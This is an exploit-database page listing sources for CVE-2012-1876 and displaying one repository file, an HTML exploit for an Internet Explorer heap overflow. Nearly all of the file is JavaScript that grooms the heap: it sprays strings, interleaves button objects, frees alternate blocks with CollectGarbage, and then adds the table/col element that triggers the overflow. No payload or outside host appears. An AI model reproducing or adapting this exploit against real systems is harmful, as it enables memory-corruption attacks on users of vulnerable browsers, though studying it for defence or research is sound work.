Exploit databaseDownload repository ZIP
GH-35c22eb7beb579a537ed8bdac1471048
0x726574736f706d69/exploits
Sources for CVE-2012-1876
7 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
0x726574736f706d69/exploitsRevision f609bfc85bf1
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2012-1876/mine.html
Suggested starting fileHTML · 5,483 bytes<html>
<body>
<div id="evil"></div>
<script>
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/**/
var free = "FREE"; // 8 bytes
while ( free.length < 500 ) free += free;
var string1 = "W00T";
while ( string1.length < 500 ) string1 += string1;
var string2 = "w00t";
while ( string2.length < 500 ) string2 += string2;
// create 3 heaps of 500 bytes
var array1 = new Array();
var array2 = new Array();
var array3 = new Array();
var div_container = document.getElementById("evil");
div_container.style.cssText = "display:none";
for (var i=0; i < 500; i+=2) {
array1[i] = free.substring(0, (0x100-6)/2); // 6 bytes to account for BSTR string header+terminator, divide by 2 cause unicode
array2[i] = string1.substring(0, (0x100-6)/2);
array3[i] = string2.substring(0, (0x100-6)/2);
var obj = document.createElement("button"); // since we are filling 0, 2, 4, 6, 8... then automatically the button will be filled in the odd indices?
div_container.appendChild(obj);
}
// heap looks like: [0x100 F.R.E.E.] [0x100 alloc W.0.0.T.] [0x100 alloc w.0.0.t.] [Button] [0x100 F.R.E.E.] [0x100 alloc W.0.0.T.] [0x100 alloc w.0.0.t.] ...
// We will free the F.R.E.E. blocks
// When we run the poc, we will occupy one of the F.R.E.E blocks and start to copy data into there and mess up the metadata of the BSTR string
for (var i=0; i<500; i+=2 ) {
array1[i] = null;
CollectGarbage();
}
alert("The heap is prepared :)")
/**/
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
</script>
<table style="table-layout:fixed" >
<col id="132" width="41" span="9" >Doin some sussy stuff</col>
</table>
<script>
</script>
</body>
</html>